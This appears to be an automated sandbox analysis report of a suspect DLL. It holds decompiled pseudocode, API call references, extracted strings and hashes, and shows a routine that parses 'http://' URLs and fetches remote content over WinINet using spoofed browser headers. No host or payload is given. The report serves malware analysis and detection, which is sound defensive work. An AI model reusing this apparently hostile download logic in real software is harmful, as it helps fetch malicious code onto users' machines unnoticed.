												_t599 = "http://";
												_t620 = 3;
												__eflags =  *_t564 -  *_t599;
												if( *_t564 ==  *_t599) {
													_t564 =  &(_t564[1]);
													_t599 = _t599 + 4;
													_t620 = 0xffffffffffffffff;
													__eflags = 3;
												}
												_t473 =  *_t564;
												__eflags = _t473 -  *_t599;
												if(_t473 !=  *_t599) {
													L47:
													asm("sbb eax, eax");
													_t474 = _t473 | 0x00000001;
													__eflags = _t474;
												} else {
													_t473 = _t564[0];
													__eflags = _t473 -  *(_t599 + 1);
													if(_t473 !=  *(_t599 + 1)) {
														goto L47;
													} else {
														_t473 = _t564[0];
														__eflags = _t473 -  *((intOrPtr*)(_t599 + 2));
														if(_t473 !=  *((intOrPtr*)(_t599 + 2))) {
															goto L47;
														} else {
															__eflags = _t620 - 0xffffffff;
															if(_t620 == 0xffffffff) {
																L46:
																_t474 = 0;
															} else {
																_t473 = _t564[0];
																__eflags = _t473 -  *((intOrPtr*)(_t599 + 3));
																if(_t473 !=  *((intOrPtr*)(_t599 + 3))) {
																	goto L47;
																} else {
																	goto L46;
																}
															}
														}
													}
												}
												__eflags = _t474;
												if(_t474 == 0) {
													_t638 = _t638 - _v112;
													__eflags = _t638 - 0xffffffff;
													if(_t638 == 0xffffffff) {
														goto L54;
													} else {
														__eflags = _t499 - _t638;
														if(__eflags < 0) {
															L82();
															L80:
															E1000633C(_t502, _t564, _t599, __eflags);
															L81:
															E1000633C(_t502, _t564, _t599, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push("invalid string position");
															E100031DF(_t502, _t599, _t620, _t642);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t660);
															_t661 = _t673;
															_t675 = _t673 - 0xc;
															_t379 = _v680;
															_push(_t502);
															_t504 = _v676;
															_push(_t642);
															_t644 = _t564;
															_v696 = _v680;
															_push(_t620);
															_t565 = _t644[5];
															_v700 = _t565;
															__eflags = _t504 - _t565;
															if(_t504 > _t565) {
																__eflags = _t504 - 0x7fffffff;
																if(_t504 > 0x7fffffff) {
																	L106:
																	E10001CA0(_t565);
																	goto L107;
																} else {
																	_t632 = _t504 | 0x0000000f;
																	__eflags = _t632 - 0x7fffffff;
																	if(__eflags > 0) {
																		L93:
																		_t620 = 0x7fffffff;
																		_t418 = 0x80000023;
																		goto L94;
																	} else {
																		_t599 = _t565 >> 1;
																		__eflags = _t565 - 0x7fffffff - _t599;
																		if(__eflags > 0) {
																			goto L93;
																		} else {
																			_t432 = _t599 + _t565;
																			__eflags = _t632 - _t432;
																			_t620 =  <  ? _t432 : _t632;
																			_t565 = _t620 + 1;
																			__eflags = _t565 - 0x1000;
																			if(_t565 < 0x1000) {
																				__eflags = _t565;
																				if(__eflags == 0) {
																					_t422 = 0;
																					__eflags = 0;
																				} else {
																					_push(_t565);
																					_t422 = E10003229(_t504, _t620, _t644, __eflags);
																					_t675 = _t675 + 4;
																				}
																				goto L99;
																			} else {
																				_t418 = _t565 + 0x23;
																				__eflags = _t418 - _t565;
																				if(__eflags <= 0) {
																					L107:
																					E10001DE0(_t504);
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					_push(_t661);
																					_t662 = _t675;
																					_t676 = _t675 - 0xc;
																					_t382 = _v704;
																					_t600 = _v708;
																					_push(_t504);
																					_push(_t644);
																					_push(_t620);
																					_t622 = _t565;
																					_v724 = _t600;
																					_v720 = _t382;
																					_t566 =  *(_t622 + 0x14);
																					_v728 = _t566;
																					__eflags = _t382 - _t566;
																					if(_t382 > _t566) {
																						__eflags = _t382 - 0x7ffffffe;
																						if(__eflags > 0) {
																							L132:
																							E10001CA0(_t566);
																							goto L133;
																						} else {
																							_t652 = _t382 | 0x00000007;
																							__eflags = _t652 - 0x7ffffffe;
																							if(_t652 <= 0x7ffffffe) {
																								_t600 = _t566 >> 1;
																								__eflags = _t566 - 0x7ffffffe - _t600;
																								if(_t566 <= 0x7ffffffe - _t600) {
																									_t400 = _t600 + _t566;
																									__eflags = _t652 - _t400;
																									_t644 =  <  ? _t400 : _t652;
																									_t401 =  &(_t644[0]);
																									__eflags = _t401 - 0x7fffffff;
																									if(_t401 > 0x7fffffff) {
																										goto L131;
																									} else {
																										_t403 = _t401 + _t401;
																										__eflags = _t403 - 0x1000;
																										if(_t403 < 0x1000) {
																											__eflags = _t403;
																											if(__eflags == 0) {
																												_t504 = 0;
																												__eflags = 0;
																											} else {
																												_push(_t403);
																												_t413 = E10003229(_t504, _t622, _t644, __eflags);
																												_t676 = _t676 + 4;
																												_t504 = _t413;
																											}
																											goto L125;
																										} else {
																											goto L119;
																										}
																									}
																								} else {
																									_t644 = 0x7ffffffe;
																									_t403 = 0xfffffffe;
																									goto L119;
																								}
																							} else {
																								_t644 = 0x7ffffffe;
																								_t403 = 0xfffffffe;
																								L119:
																								_t280 = _t403 + 0x23; // 0x100000021
																								_t566 = _t280;
																								__eflags = _t566 - _t403;
																								if(__eflags <= 0) {
																									L131:
																									E10001DE0(_t504);
																									goto L132;
																								} else {
																									_push(_t566);
																									_t414 = E10003229(_t504, _t622, _t644, __eflags);
																									_t676 = _t676 + 4;
																									__eflags = _t414;
																									if(__eflags == 0) {
																										L133:
																										E1000633C(_t504, _t566, _t600, __eflags);
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										_push(_t662);
																										_push(_t644);
																										_t645 = _v732;
																										_push(_t622);
																										_t623 = _t600;
																										__eflags = _t645;
																										if(_t645 != 0) {
																											__eflags = _t566;
																											if(__eflags != 0) {
																												_push(_t504);
																												_t505 = _v12;
																												__eflags = _t505;
																												if(_t505 == 0) {
																													L141:
																													E10004730(_t623, _t566, 0, _t623);
																													__eflags = _t505;
																													if(__eflags != 0) {
																														__eflags = _t623 - _t645;
																														if(__eflags >= 0) {
																															goto L143;
																														} else {
																															 *((intOrPtr*)(E10006406(__eflags))) = 0x22;
																															E1000632C();
																															return 0x22;
																														}
																													} else {
																														 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
																														E1000632C();
																														L143:
																														return 0x16;
																													}
																												} else {
																													__eflags = _t623 - _t645;
																													if(_t623 < _t645) {
																														goto L141;
																													} else {
																														E10005BC0(_t566, _t505, _t645);
																														__eflags = 0;
																														return 0;
																													}
																												}
																											} else {
																												 *((intOrPtr*)(E10006406(__eflags))) = 0x16;
																												E1000632C();
																												return 0x16;
																											}
																										} else {
																											__eflags = 0;
																											return 0;
																										}
																									} else {
																										_t281 = _t414 + 0x23; // 0x23
																										_t504 = _t281 & 0xffffffe0;
																										 *(_t504 - 4) = _t414;
																										L125:
																										_t404 = _v20;
																										 *(_t622 + 0x14) = _t644;
																										 *(_t622 + 0x10) = _t404;
																										_t644 = _t404 + _t404;
																										E10005BC0(_t504, _v24, _t644);
																										_t676 = _t676 + 0xc;
																										 *((short*)(_t644 + _t504)) = 0;
																										_t407 = _v28;
																										__eflags = _t407 - 8;
																										if(_t407 < 8) {
																											L130:
																											 *_t622 = _t504;
																											return _t622;
																										} else {
																											_t567 = 2 + _t407 * 2;
																											_t409 =  *_t622;
																											__eflags = _t567 - 0x1000;
																											if(_t567 < 0x1000) {
																												L129:
																												_push(_t567);
																												E10003216(_t409);
																												goto L130;
																											} else {
																												_t600 =  *(_t409 - 4);
																												_t566 = _t567 + 0x23;
																												__eflags = _t409 - _t600 + 0xfffffffc - 0x1f;
																												if(__eflags > 0) {
																													goto L133;
																												} else {
																													_t409 = _t600;
																													goto L129;
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					} else {
																						_t511 = _t622;
																						__eflags = _t566 - 8;
																						if(_t566 >= 8) {
																							_t511 =  *_t622;
																						}
																						_t654 = _t382 + _t382;
																						 *(_t622 + 0x10) = _t382;
																						E10005BC0(_t511, _t600, _t654);
																						__eflags = 0;
																						 *((short*)(_t654 + _t511)) = 0;
																						return _t622;
																					}
																				} else {
																					L94:
																					_push(_t418);
																					_t565 = E10003229(_t504, _t620, _t644, __eflags);
																					_t675 = _t675 + 4;
																					__eflags = _t565;
																					if(__eflags == 0) {
																						L105:
																						E1000633C(_t504, _t565, _t599, __eflags);
																						goto L106;
																					} else {
																						_t258 = _t565 + 0x23; // 0x23
																						_t422 = _t258 & 0xffffffe0;
																						 *(_t422 - 4) = _t565;
																						L99:
																						_v16 = _t422;
																						_t644[4] = _t504;
																						_t644[5] = _t620;
																						E10005BC0(_t422, _v20, _t504);
																						_t620 = _v16;
																						_t675 = _t675 + 0xc;
																						_t424 = _v24;
																						 *((char*)(_t620 + _t504)) = 0;
																						__eflags = _t424 - 0x10;
																						if(_t424 < 0x10) {
																							L104:
																							 *_t644 = _t620;
																							return _t644;
																						} else {
																							_t568 = _t424 + 1;
																							_t426 =  *_t644;
																							__eflags = _t568 - 0x1000;
																							if(_t568 < 0x1000) {
																								L103:
																								_push(_t568);
																								E10003216(_t426);
																								goto L104;
																							} else {
																								_t599 =  *(_t426 - 4);
																								_t565 = _t568 + 0x23;
																								__eflags = _t426 - _t599 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L105;
																								} else {
																									_t426 = _t599;
																									goto L103;
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															} else {
																_t634 = _t644;
																__eflags = _t565 - 0x10;
																if(_t565 >= 0x10) {
																	_t634 =  *_t644;
																}
																_t644[4] = _t504;
																E10005BC0(_t634, _t379, _t504);
																 *((char*)(_t634 + _t504)) = 0;
																return _t644;
															}
														} else {
															_t476 = _t499 - _t638;
															__eflags = _t476 - 7;
															_t607 =  <  ? _t476 : 7;
															__eflags = _v32 - 0x10;
															_t579 =  >=  ? _v52 :  &_v52;
															_t515 = _t499 - 7;
															_t580 =  &(( >=  ? _v52 :  &_v52)[_t638]);
															_v36 = _t515;
															__eflags = _t515 - _t638 + 1;
															E10005BC0( &(( >=  ? _v52 :  &_v52)[_t638]),  &(( &(( >=  ? _v52 :  &_v52)[_t638]))[ <  ? _t476 : 7]), _t515 - _t638 + 1);
															_t499 = _v36;
															_t671 = _t671 + 0xc;
															goto L54;
														}
													}
												} else {
													goto L49;
												}
												goto L146;
												L49:
												_t638 = E1000F670(_t638 + 1, 0x68, _v108 - _t638 + 1);
												_t671 = _t671 + 0xc;
												__eflags = _t638;
											} while (_t638 != 0);
										}
										goto L54;
									}
								} else {
									goto L18;
								}
							}
						}
					}
				}
				L146:
			}

0x10001013
0x10001015
0x10001020
0x10001021
0x10001027
0x1000102c
0x1000102e
0x10001031
0x10001034
0x10001038
0x1000103e
0x10001040
0x10001044
0x10001047
0x1000104d
0x1000107c
0x1000104f
0x1000104f
0x10001054
0x1000105b
0x10001060
0x10001063
0x10001066
0x1000106d
0x1000106d
0x1000108b
0x10001095
0x100010a0
0x100010b4
0x100010ba
0x100010c0
0x100010c2
0x100010c7
0x100010cd
0x100010d3
0x100010d5
0x100010da
0x100010db
0x100010e6
0x100010ee
0x100010f6
0x100010fb
0x10001101
0x10001104
0x10001107
0x10001107
0x1000110d
0x10001120
0x1000112d
0x10001132
0x10001150
0x100014b5
0x100014bb
0x100014cb
0x100014d3
0x100014d4
0x100014d5
0x100014e3
0x10001156
0x1000115c
0x10001170
0x10001176
0x10001181
0x10001189
0x00000000
0x1000119c
0x1000119c
0x100011a2
0x100011ac
0x100011b6
0x100011b9
0x100011c3
0x100011ca
0x100011d0
0x100011d0
0x100011d2
0x100011d3
0x100011df
0x100011e0
0x100011e7
0x100011ec
0x100011ff
0x10001205
0x1000120f
0x1000121e
0x10001224
0x10001228
0x10001238
0x10001239
0x1000123e
0x10001241
0x10001254
0x1000125c
0x1000126a
0x1000126c
0x1000126e
0x1000127a
0x10001284
0x1000128e
0x10001295
0x10001295
0x100012a0
0x100012a0
0x100012a3
0x100012a6
0x100012b7
0x100012bd
0x100012c2
0x100012c5
0x100012cf
0x100012e3
0x100012f3
0x100012f6
0x100012fa
0x100012fc
0x10001305
0x1000133c
0x1000133e
0x10001345
0x1000134b
0x10001355
0x1000135f
0x10001369
0x1000139a
0x1000139c
0x100013a2
0x100013a9
0x100013bf
0x100013c1
0x100013c2
0x100013cd
0x100013d3
0x100013d9
0x100013e3
0x100013e5
0x100013ef
0x100013f7
0x100013fe
0x10001404
0x10001405
0x1000140b
0x1000140c
0x10001410
0x10001411
0x10001419
0x1000141a
0x1000141b
0x1000141d
0x10001423
0x10001425
0x1000142b
0x1000142e
0x10001431
0x10001433
0x10001435
0x1000143b
0x1000143c
0x1000143f
0x10001449
0x1000144a
0x1000144f
0x10001457
0x1000145c
0x1000145f
0x10001462
0x10001468
0x10001468
0x10001470
0x10001471
0x10001477
0x1000147c
0x10001487
0x1000148c
0x1000148c
0x10001495
0x1000149a
0x100014a6
0x100014a6
0x100013a9
0x100014a9
0x100014b2
0x00000000
0x1000136b
0x1000136b
0x10001371
0x10001372
0x1000137a
0x10001390
0x10001390
0x10001392
0x10001397
0x00000000
0x1000137c
0x1000137c
0x1000137f
0x1000138a
0x00000000
0x00000000
0x00000000
0x00000000
0x1000138a
0x1000137a
0x10001307
0x10001307
0x1000130d
0x10001314
0x1000131c
0x10001332
0x10001332
0x10001334
0x10001339
0x00000000
0x1000131e
0x1000131e
0x10001321
0x1000132c
0x100014e6
0x100014e6
0x100014eb
0x100014ec
0x100014ed
0x100014ee
0x100014ef
0x100014f0
0x100014f1
0x100014f3
0x100014f5
0x10001500
0x10001501
0x10001504
0x10001509
0x10001509
0x1000150b
0x1000150e
0x1000150f
0x10001510
0x10001511
0x10001515
0x1000151b
0x1000151e
0x10001521
0x10001523
0x1000152a
0x1000152d
0x10001534
0x1000153b
0x1000153e
0x10001542
0x10001542
0x10001544
0x10001545
0x10001545
0x1000154b
0x1000154c
0x10001550
0x10001555
0x1000155f
0x10001563
0x10001566
0x1000156a
0x1000156d
0x10001570
0x10001649
0x10001649
0x10001650
0x10001654
0x10001656
0x1000166e
0x1000166e
0x1000166e
0x10001658
0x10001661
0x10001663
0x10001666
0x10001668
0x00000000
0x1000166a
0x1000166a
0x1000166a
0x10001668
0x10001671
0x10001673
0x1000167c
0x10001683
0x10001686
0x1000168d
0x10001694
0x10001695
0x1000169c
0x1000169d
0x100016a1
0x100016a6
0x100016ad
0x100016b0
0x100016b2
0x100016b5
0x100016b9
0x100016bd
0x100016bf
0x100016c9
0x100016ce
0x100016d4
0x100016d6
0x100016ea
0x100016f2
0x100016fa
0x10001709
0x1000170b
0x1000170e
0x10001710
0x100018ac
0x100018ac
0x100018b1
0x100018b3
0x100018b6
0x100018b9
0x100018e3
0x100018e3
0x100018e6
0x100018ed
0x100018f4
0x100018f8
0x100018fb
0x10001925
0x1000192a
0x10001932
0x10001933
0x10001934
0x10001938
0x10001942
0x100018fd
0x100018fd
0x10001900
0x10001901
0x10001903
0x10001909
0x1000191b
0x1000191b
0x1000191d
0x00000000
0x1000190b
0x1000190b
0x1000190e
0x10001916
0x10001919
0x00000000
0x00000000
0x00000000
0x00000000
0x10001919
0x10001909
0x100018bb
0x100018bb
0x100018be
0x100018bf
0x100018c1
0x100018c7
0x100018d9
0x100018d9
0x100018db
0x100018e0
0x00000000
0x100018c9
0x100018c9
0x100018cc
0x100018d4
0x100018d7
0x00000000
0x00000000
0x00000000
0x00000000
0x100018d7
0x100018c7
0x10001716
0x1000171b
0x10001726
0x1000172c
0x10001735
0x10001746
0x1000174c
0x10001752
0x10001755
0x10001757
0x100018a9
0x100018aa
0x00000000
0x1000175d
0x1000175d
0x10001766
0x10001779
0x1000177f
0x10001781
0x10001783
0x100018a1
0x100018a4
0x100018a6
0x00000000
0x10001789
0x10001789
0x1000178b
0x10001795
0x1000179a
0x100017a1
0x100017a8
0x100017ac
0x100017b1
0x100017b8
0x100017bc
0x100017c2
0x100017d0
0x100017d2
0x100017d4
0x100017dc
0x100017e1
0x100017f0
0x100017f6
0x100017f8
0x100017fa
0x10001802
0x10001807
0x10001816
0x1000181c
0x1000181e
0x10001820
0x10001828
0x1000182d
0x1000183c
0x10001842
0x10001844
0x10001848
0x1000184b
0x1000184e
0x1000187c
0x10001885
0x1000188b
0x1000188d
0x10001892
0x10001893
0x10001898
0x10001898
0x1000189c
0x1000189e
0x00000000
0x10001850
0x10001850
0x10001853
0x10001854
0x10001856
0x1000185c
0x10001872
0x10001872
0x10001874
0x10001879
0x00000000
0x1000185e
0x1000185e
0x10001861
0x10001869
0x1000186c
0x00000000
0x00000000
0x00000000
0x00000000
0x1000186c
0x1000185c
0x1000184e
0x10001783
0x10001757
0x10001576
0x10001576
0x1000157b
0x10001589
0x1000158b
0x1000158e
0x10001590
0x10001596
0x100015a0
0x100015a0
0x100015a2
0x100015a7
0x100015ae
0x100015b0
0x100015b2
0x100015b5
0x100015b8
0x100015b8
0x100015b8
0x100015bb
0x100015bd
0x100015bf
0x100015e2
0x100015e2
0x100015e4
0x100015e4
0x100015c1
0x100015c1
0x100015c4
0x100015c7
0x00000000
0x100015c9
0x100015c9
0x100015cc
0x100015cf
0x00000000
0x100015d1
0x100015d1
0x100015d4
0x100015de
0x100015de
0x100015d6
0x100015d6
0x100015d9
0x100015dc
0x00000000
0x00000000
0x00000000
0x00000000
0x100015dc
0x100015d4
0x100015cf
0x100015c7
0x100015e7
0x100015e9
0x10001605
0x10001608
0x1000160b
0x00000000
0x1000160d
0x1000160d
0x1000160f
0x10001945
0x1000194a
0x1000194a
0x1000194f
0x1000194f
0x10001954
0x10001955
0x10001956
0x10001957
0x10001958
0x10001959
0x1000195a
0x1000195b
0x1000195c
0x1000195d
0x1000195e
0x1000195f
0x10001960
0x10001965
0x1000196a
0x1000196b
0x1000196c
0x1000196d
0x1000196e
0x1000196f
0x10001970
0x10001971
0x10001973
0x10001976
0x10001979
0x1000197a
0x1000197d
0x1000197e
0x10001980
0x10001983
0x10001984
0x10001987
0x1000198a
0x1000198c
0x100019b4
0x100019ba
0x10001a91
0x10001a91
0x00000000
0x100019c0
0x100019c2
0x100019c5
0x100019cb
0x100019fc
0x100019fc
0x10001a01
0x00000000
0x100019cd
0x100019d4
0x100019d8
0x100019da
0x00000000
0x100019dc
0x100019dc
0x100019df
0x100019e1
0x100019e4
0x100019e7
0x100019ed
0x10001a20
0x10001a22
0x10001a2f
0x10001a2f
0x10001a24
0x10001a24
0x10001a25
0x10001a2a
0x10001a2a
0x00000000
0x100019ef
0x100019ef
0x100019f2
0x100019f4
0x10001a96
0x10001a96
0x10001a9b
0x10001a9c
0x10001a9d
0x10001a9e
0x10001a9f
0x10001aa0
0x10001aa1
0x10001aa3
0x10001aa6
0x10001aa9
0x10001aac
0x10001aad
0x10001aae
0x10001aaf
0x10001ab1
0x10001ab4
0x10001ab7
0x10001aba
0x10001abd
0x10001abf
0x10001aec
0x10001af1
0x10001bea
0x10001bea
0x00000000
0x10001af7
0x10001af9
0x10001afc
0x10001b02
0x10001b17
0x10001b1b
0x10001b1d
0x10001b2b
0x10001b2e
0x10001b30
0x10001b33
0x10001b36
0x10001b3b
0x00000000
0x10001b41
0x10001b41
0x10001b43
0x10001b48
0x10001b71
0x10001b73
0x10001b82
0x10001b82
0x10001b75
0x10001b75
0x10001b76
0x10001b7b
0x10001b7e
0x10001b7e
0x00000000
0x00000000
0x00000000
0x00000000
0x10001b48
0x10001b1f
0x10001b1f
0x10001b24
0x00000000
0x10001b24
0x10001b04
0x10001b04
0x10001b09
0x10001b4a
0x10001b4a
0x10001b4a
0x10001b4d
0x10001b4f
0x10001be5
0x10001be5
0x00000000
0x10001b55
0x10001b55
0x10001b56
0x10001b5b
0x10001b5e
0x10001b60
0x10001bef
0x10001bef
0x10001bf4
0x10001bf5
0x10001bf6
0x10001bf7
0x10001bf8
0x10001bf9
0x10001bfa
0x10001bfb
0x10001bfc
0x10001bfd
0x10001bfe
0x10001bff
0x10001c00
0x10001c03
0x10001c04
0x10001c07
0x10001c08
0x10001c0a
0x10001c0c
0x10001c14
0x10001c16
0x10001c31
0x10001c32
0x10001c35
0x10001c37
0x10001c4f
0x10001c53
0x10001c5b
0x10001c5d
0x10001c79
0x10001c7b
0x00000000
0x10001c7d
0x10001c82
0x10001c88
0x10001c96
0x10001c96
0x10001c5f
0x10001c64
0x10001c6a
0x10001c6f
0x10001c78
0x10001c78
0x10001c39
0x10001c39
0x10001c3b
0x00000000
0x10001c3d
0x10001c40
0x10001c48
0x10001c4e
0x10001c4e
0x10001c3b
0x10001c18
0x10001c1d
0x10001c23
0x10001c30
0x10001c30
0x10001c0e
0x10001c0f
0x10001c13
0x10001c13
0x10001b66
0x10001b66
0x10001b69
0x10001b6c
0x10001b84
0x10001b84
0x10001b87
0x10001b8a
0x10001b8d
0x10001b95
0x10001b9c
0x10001b9f
0x10001ba3
0x10001ba6
0x10001ba9
0x10001bd8
0x10001bd8
0x10001be2
0x10001bab
0x10001bab
0x10001bb2
0x10001bb4
0x10001bba
0x10001bce
0x10001bce
0x10001bd0
0x00000000
0x10001bbc
0x10001bbc
0x10001bbf
0x10001bc7
0x10001bca
0x00000000
0x10001bcc
0x10001bcc
0x00000000
0x10001bcc
0x10001bca
0x10001bba
0x10001ba9
0x10001b60
0x10001b4f
0x10001b02
0x10001ac1
0x10001ac1
0x10001ac3
0x10001ac6
0x10001ac8
0x10001ac8
0x10001aca
0x10001acd
0x10001ad3
0x10001adb
0x10001add
0x10001ae9
0x10001ae9
0x100019fa
0x10001a06
0x10001a06
0x10001a0c
0x10001a0e
0x10001a11
0x10001a13
0x10001a8c
0x10001a8c
0x00000000
0x10001a15
0x10001a15
0x10001a18
0x10001a1b
0x10001a31
0x10001a35
0x10001a39
0x10001a3c
0x10001a3f
0x10001a44
0x10001a47
0x10001a4a
0x10001a4d
0x10001a51
0x10001a54
0x10001a7f
0x10001a7f
0x10001a89
0x10001a56
0x10001a56
0x10001a59
0x10001a5b
0x10001a61
0x10001a75
0x10001a75
0x10001a77
0x00000000
0x10001a63
0x10001a63
0x10001a66
0x10001a6e
0x10001a71
0x00000000
0x10001a73
0x10001a73
0x00000000
0x10001a73
0x10001a71
0x10001a61
0x10001a54
0x10001a13
0x100019f4
0x100019ed
0x100019da
0x100019cb
0x1000198e
0x1000198e
0x10001990
0x10001993
0x10001995
0x10001995
0x1000199a
0x1000199d
0x100019a5
0x100019b1
0x100019b1
0x10001615
0x1000161a
0x10001621
0x10001623
0x10001626
0x1000162a
0x1000162e
0x10001630
0x10001632
0x10001637
0x1000163e
0x10001643
0x10001646
0x00000000
0x10001646
0x1000160f
0x00000000
0x00000000
0x00000000
0x00000000
0x100015eb
0x100015fa
0x100015fc
0x100015ff
0x100015ff
0x10001603
0x00000000
0x10001590
0x00000000
0x00000000
0x00000000
0x1000132c
0x1000131c
0x10001305
0x10001189
0x00000000

APIs

InternetSetFilePointer.WININET(10001898,00000000,00000000,00000000,00000000), ref: 10001095
InternetReadFile.WININET(10001898,00000000,000003E8,00000000), ref: 100010B4
HttpQueryInfoA.WININET(10001898,0000001D,?,00000103,00000000), ref: 10001148
CoCreateInstance.OLE32(?,00000000,00000001,100101B0,?), ref: 10001181
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,?,?), ref: 10001224
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000), ref: 1000126A
__cftof.LIBCMT ref: 100016EA
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 10001703
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001726
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 10001746
HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,80400000,00000001), ref: 10001779
HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 100017D0
HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 100017F6
HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 1000181C
HttpAddRequestHeadersA.WININET(00000000,00000000,00000000,20000000), ref: 10001842
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 10001885
InternetCloseHandle.WININET(00000000), ref: 1000189C
InternetCloseHandle.WININET(?), ref: 100018A4
InternetCloseHandle.WININET(00000000), ref: 100018AA

Strings

pYet, xrefs: 100016CE, 1000188F
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 100017D4
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 10001795
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 100017FA
GET, xrefs: 10001773
invalid string position, xrefs: 10001960
http://, xrefs: 100015A2
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001820
text, xrefs: 100012EC

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: Internet$Http$Request$Headers$CloseHandle$ByteCharFileMultiOpenWide$ConnectCreateInfoInstanceOptionPointerQueryReadSend__cftof
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$invalid string position$pYet$text
API String ID: 3831252183-3861048272
Opcode ID: 928840d67b81dec85a459f9b0e9ad04d7454cd60734cdd5e754f0154346cdfd8
Instruction ID: 9cfefb4acadf1673c11eeb4d9e0c75330180c00a45bf6efb74ded1e1255f97de
Opcode Fuzzy Hash: 928840d67b81dec85a459f9b0e9ad04d7454cd60734cdd5e754f0154346cdfd8
Instruction Fuzzy Hash: 7D52B171E00218AFEB25CF68CC85BEEB7B9FF48340F504198E509AB295DB75AA45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100014F0 Relevance: 35.4, APIs: 13, Strings: 7, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E100014F0(long __ecx, intOrPtr _a4) {
				char* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				unsigned int _v28;
				char* _v32;
				char* _v48;
				intOrPtr _v52;
				long _v56;
				char* _v72;
				void _v76;
				intOrPtr _v80;
				char* _v84;
				char* _v100;
				char* _v104;
				void* _v108;
				long _v112;
				void* _v116;
				signed int _v168;
				intOrPtr _v172;
				intOrPtr _v188;
				unsigned int _v192;
				signed int _v196;
				unsigned int _v200;
				signed int _v212;
				unsigned int _v216;
				unsigned int _v220;
				unsigned int _v224;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t165;
				signed int _t166;
				intOrPtr _t168;
				char* _t171;
				void** _t184;
				signed int _t193;
				void* _t211;
				void** _t212;
				unsigned int _t214;
				signed int _t215;
				signed int _t218;
				unsigned int _t220;
				signed int _t224;
				unsigned int _t225;
				void* _t229;
				signed int _t233;
				intOrPtr _t235;
				unsigned int _t237;
				void* _t243;
				char* _t246;
				void* _t254;
				void* _t256;
				char* _t272;
				char* _t273;
				signed int _t284;
				signed int _t285;
				void* _t287;
				void _t294;
				char* _t295;
				intOrPtr _t296;
				signed int _t298;
				void* _t299;
				signed int _t300;
				unsigned int _t301;
				unsigned int _t307;
				char* _t311;
				intOrPtr* _t315;
				void* _t319;
				void** _t329;
				unsigned int _t330;
				unsigned int _t331;
				void* _t332;
				void* _t333;
				char* _t334;
				char* _t342;
				void* _t346;
				intOrPtr _t347;
				unsigned int _t348;
				unsigned int _t349;
				void* _t352;
				intOrPtr _t353;
				void* _t354;
				void* _t359;
				void* _t361;
				unsigned int _t362;
				unsigned int _t363;
				signed int _t372;
				void* _t374;
				signed int _t376;
				signed int _t377;
				void* _t379;
				void* _t380;
				void** _t381;
				unsigned int _t382;
				signed int _t389;
				void* _t391;
				signed int _t396;
				void* _t397;
				void* _t398;
				void* _t400;
				void* _t401;
				void* _t403;
				void* _t405;
				void* _t406;

				_push(0xffffffff);
				_push(E1000F78D);
				_push( *[fs:0x0]);
				_t401 = _t400 - 0x68;
				_t165 =  *0x10017004; // 0xdfd3a356
				_t166 = _t165 ^ _t396;
				_v24 = _t166;
				_push(_t376);
				_push(_t166);
				 *[fs:0x0] =  &_v16;
				_v112 = __ecx;
				_t294 = _a4;
				_t315 = _t294;
				_v48 = 0;
				_v76 = _t294;
				_v32 = 0;
				_v28 = 0xf;
				_t346 = _t315 + 1;
				_v48 = 0;
				do {
					_t168 =  *_t315;
					_t315 = _t315 + 1;
				} while (_t168 != 0);
				_push(_t315 - _t346);
				_push(_t294);
				L49();
				_v8 = 0;
				_t295 = _v32;
				_t319 =  >=  ? _v48 :  &_v48;
				_v108 = _t319;
				if(_t295 < 7) {
					L20:
					_t359 =  >=  ? _v48 :  &_v48;
					if(_t295 == 0) {
						L23:
